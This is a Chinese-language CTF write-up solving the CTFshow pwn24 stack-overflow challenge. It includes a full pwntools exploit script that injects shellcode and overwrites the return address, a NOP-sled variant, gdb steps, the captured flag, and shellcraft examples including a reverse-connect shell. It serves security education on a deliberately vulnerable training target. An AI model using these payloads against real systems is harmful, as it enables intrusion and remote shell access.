CTFshow PWN入门实战:手把手教你用pwntools搞定pwn24(含shellcraft模块详解)
CTFshow PWN入门实战:从零开始攻破pwn24
第一次接触CTF PWN题时,那种既兴奋又迷茫的感觉我至今记忆犹新。面对一个陌生的二进制程序,不知道从哪里入手,看着别人轻松拿到shell,自己却连基本工具都不会用。本文将带你从零开始,用最直观的方式理解如何攻破CTFshow的pwn24题目,特别适合刚安装好pwntools但不知如何下手的初学者。
1. 理解题目与程序分析
拿到pwn24这道题,我们首先要做的不是急着写exp,而是全面了解这个程序的行为和保护机制。这就像医生看病一样,需要先"诊断"再"治疗"。
使用checksec工具查看程序保护情况:
checksec ./pwn24你会看到类似这样的输出:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments几个关键信息解读:
- 32位程序:这意味着地址是4字节的,寄存器命名如eax、ebx等
- Partial RELRO:全局偏移表(GOT)可写,这对我们有利
- No NX:堆栈可执行,这是关键!意味着我们可以在栈上放shellcode并执行
- RWX段:存在可读可写可执行的段,这简直是漏洞利用的"天堂"
接下来用IDA或Ghidra反编译程序,你会发现一个关键函数ctfshow,它调用了read函数读取用户输入。这个函数没有做长度检查,存在明显的缓冲区溢出漏洞。
提示:在PWN题中,看到
read、gets、scanf等函数时,要立刻想到可能的缓冲区溢出。
2. 漏洞利用思路设计
基于前面的分析,我们的攻击思路很清晰:
- 确定偏移量:找出从输入开始到返回地址的距离
- 构造payload:用shellcode填充缓冲区,并用shellcode地址覆盖返回地址
- 获取shell:执行我们注入的shellcode
但具体怎么做?让我们一步步拆解。
2.1 确定偏移量
在32位程序中,典型的栈布局如下:
[缓冲区][ebp][返回地址]通过反汇编,我们发现buf到ebp的距离是0x88字节,再加上4字节的ebp本身,所以到返回地址的偏移量是:
offset = 0x88 + 4 = 140字节2.2 生成shellcode
pwntools的shellcraft模块是我们的利器,它可以生成各种架构的shellcode。对于这道题:
shellcode = asm(shellcraft.sh())这行代码做了两件事:
shellcraft.sh():生成获取shell的汇编代码asm():将汇编代码编译为机器码
注意:由于是32位程序,确保context设置为i386:
context.arch = 'i386'
3. 编写完整exp脚本
现在我们可以把所有这些整合到一个完整的exp脚本中:
from pwn import * # 设置环境 context(arch='i386', os='linux') context.log_level = 'debug' # 启动程序 # p = process('./pwn24') # 本地测试 p = remote('pwn.challenge.ctf.show', 28251) # 连接远程 # 生成shellcode shellcode = asm(shellcraft.sh()) # 构造payload payload = flat([ shellcode.ljust(140, b'A'), # 用shellcode填充缓冲区,不足部分用A补齐 p32(0xffffd580) # 覆盖返回地址为栈地址(需要调试确定) ]) # 发送payload p.sendline(payload) # 交互模式 p.interactive()3.1 确定shellcode地址
上面的脚本中有一个关键问题:如何知道shellcode在栈上的确切地址?这需要通过调试来确定。
使用gdb附加进程:
gdb -p $(pidof pwn24)然后在read函数返回处下断点,查看栈地址:
x/20wx $esp寻找我们输入的shellcode起始地址,这个地址就是我们要覆盖返回地址的值。
技巧:在实际操作中,可以先用cyclic生成测试字符串确定偏移量,再用NOP sled增加命中率。
4. 调试与优化
第一次尝试往往不会成功,这时需要调试。pwntools的gdb.attach()功能非常有用:
# 在发送payload前添加 gdb.attach(p, ''' b *0x080484e9 # 在read返回处下断点 c ''')调试中常见问题及解决方案:
| 问题现象 | 可能原因 | 解决方法 |
|---|---|---|
| 段错误 | 返回地址错误 | 重新调试确定准确地址 |
| 无反应 | shellcode执行失败 | 检查shellcode是否完整,尝试不同生成方式 |
| 连接断开 | 远程服务问题 | 检查网络,重试 |
优化后的payload构造:
# 更稳健的payload构造方式 payload = flat([ b'\x90'*80, # NOP sled shellcode, # 实际shellcode b'A'*(140-80-len(shellcode)), # 填充 p32(0xffffd500) # 指向NOP sled中间位置 ])5. 最终攻击与flag获取
经过调试优化后,运行exp脚本:
python3 exp.py如果一切顺利,你会看到:
[+] Opening connection to pwn.challenge.ctf.show on port 28251: Done [*] Switching to interactive mode $ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) $ cat flag ctfshow{f615f3c6-b99a-4590-ac95-1f7baf5b974b}6. shellcraft模块深度解析
shellcraft是pwntools中极其强大的模块,它支持多种架构和功能。常用shellcode生成方法:
# 基本shell shellcraft.sh() # 指定输出文件描述符 shellcraft.dupsh(4) # 常用于特殊场景 # 执行特定命令 shellcraft.execve('/bin/sh', ['/bin/sh', '-c', 'ls -la']) # 反向连接 shellcraft.connect('127.0.0.1', 4444) + shellcraft.dupsh()不同架构的shellcode生成:
# ARM架构 context.arch = 'arm' shellcode = asm(shellcraft.sh()) # 64位 context.arch = 'amd64' shellcode = asm(shellcraft.sh())7. 防御机制与绕过思路
虽然这道题没有开启NX等保护,但了解防御机制对后续学习很重要:
| 保护机制 | 作用 | 绕过方法 |
|---|---|---|
| NX | 阻止执行栈上代码 | ROP技术 |
| ASLR | 随机化内存布局 | 信息泄露 |
| Canary | 检测栈溢出 | 泄露canary值 |
| PIE | 随机化代码地址 | 计算相对偏移 |
在实际做题过程中,遇到问题不要气馁。我记得第一次做这道题时,花了整整一天时间调试shellcode地址,最后发现是忘了设置context.arch。PWN就是这样,每个细节都可能影响结果,但每次成功拿到flag的成就感也是无与伦比的。
